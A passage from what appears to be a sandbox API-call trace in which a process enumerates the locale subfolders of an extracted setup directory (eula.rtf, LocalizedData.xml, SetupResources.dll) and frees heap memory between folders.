ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.287] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.288] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.288] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.288] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0088.288] GetProcessHeap () returned 0xc00000 [0088.288] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.288] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1046", cAlternateFileName="")) returned 1 [0088.288] GetProcessHeap () returned 0xc00000 [0088.288] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.288] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.289] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.289] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.289] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.289] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.290] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.290] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0088.290] GetProcessHeap () returned 0xc00000 [0088.290] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.290] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1049", cAlternateFileName="")) returned 1 [0088.290] GetProcessHeap () returned 0xc00000 [0088.290] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.290] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.290] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.290] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.291] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.291] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.323] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.323] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0088.323] GetProcessHeap () returned 0xc00000 [0088.323] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.323] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1053", cAlternateFileName="")) returned 1 [0088.323] GetProcessHeap () returned 0xc00000 [0088.323] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.324] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.324] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.324] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.325] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.325] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.325] FindClose (in: hFindFile=0xc19b38 | out: hFindFile=0xc19b38) returned 1 [0088.325] GetProcessHeap () returned 0xc00000 [0088.325] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.325] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="1055", cAlternateFileName="")) returned 1 [0088.325] GetProcessHeap () returned 0xc00000 [0088.325] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.325] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19cf8 [0088.326] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.326] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.326] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.326] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.327] FindNextFileW (in: hFindFile=0xc19cf8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.327] FindClose (in: hFindFile=0xc19cf8 | out: hFindFile=0xc19cf8) returned 1 [0088.327] GetProcessHeap () returned 0xc00000 [0088.327] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.327] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="2052", cAlternateFileName="")) returned 1 [0088.327] GetProcessHeap () returned 0xc00000 [0088.327] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.327] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19df8 [0088.327] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.327] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x16c3, dwReserved0=0x0, dwReserved1=0xe0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.327] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0xe0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.328] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.328] FindNextFileW (in: hFindFile=0xc19df8, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0xe0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0088.328] FindClose (in: hFindFile=0xc19df8 | out: hFindFile=0xc19df8) returned 1 [0088.328] GetProcessHeap () returned 0xc00000 [0088.328] HeapFree (in: hHeap=0xc00000, dwFlags=0x0, lpMem=0xc6d888 | out: hHeap=0xc00000) returned 1 [0088.328] FindNextFileW (in: hFindFile=0xc199f8, lpFindFileData=0x2b1f800 | out: lpFindFileData=0x2b1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x2e1, cFileName="2070", cAlternateFileName="")) returned 1 [0088.328] GetProcessHeap () returned 0xc00000 [0088.328] RtlAllocateHeap (HeapHandle=0xc00000, Flags=0x0, Size=0x10000) returned 0xc6d888 [0088.328] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName=".", cAlternateFileName="")) returned 0xc19b38 [0088.328] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe0, cFileName="..", cAlternateFileName="")) returned 1 [0088.329] FindNextFileW (in: hFindFile=0xc19b38, lpFindFileData=0x2b1f578 | out: lpFindFileData=0x2b1f578*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, 